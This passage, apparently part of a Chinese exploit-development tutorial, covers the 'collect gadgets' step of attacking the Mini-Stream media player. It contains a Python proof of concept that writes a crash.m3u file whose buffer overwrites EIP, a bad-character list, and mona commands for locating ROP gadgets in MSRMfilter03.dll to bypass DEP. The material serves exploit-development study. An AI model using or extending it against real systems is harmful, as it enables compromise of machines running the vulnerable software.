返回介绍

收集配件

发布于 2025-01-03 23:32:54 字数 1697 浏览 0 评论 0 收藏 0

漏洞利用比较抽象,你得到的信息越多,你看的就越清楚,离成功也就越近. 让我们看看下面这个 POC, BBBB 将会覆写 EIP.

#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0A'                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "B"*4 + "C"*7572
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()

老办法,附加 Mini-Stream 到调试器然后打开 crash.m3u 文件. 你可以看到下图所示的崩溃. 有几点值得注意:

(1)ESP 指向我们的缓冲区真是好消息因为我们可以用 retn 指令地址覆写 EIP 从而跳到我们 ROP 链的开始。

(2) 我们看到 ESP 指向 EIP+4 的位置,稍后我们要填充着 4 个字节。

好. 我们基本搞清了内存布局. 用 mona 看看软件加载了哪些模块(记住只要没有 non-base, no-ASLR,no 坏字符). 看起来只有一个 dll 符合要求(MSRMfilter03.dll). 接下来用 mona 搜索 ROP 链需要的小配件. 分别执行这两个命令:

!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a'

最后就是用 mona 在 MSRMfilter03.dll 找到这些小配件, mona 会生成几个重要的文件:

“rop.txt”(ROP 配件的原始列表),

“rop_suggestions.txt”(基于函数过滤后的 ROP 配件列表),

“stackpivot.txt”(转移 ESP 的配件),

“rop_virtualprotect.txt”(基于 VirtualProtect 函数的 ROP 链小配件).

我建议打开这些文件方便随时参考. 尽管我们将要用 VirtualAlloc 去禁用 DEP, 我们同样会看看“rop_virtualprotect.txt 是否有我们需要的小配件。

!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文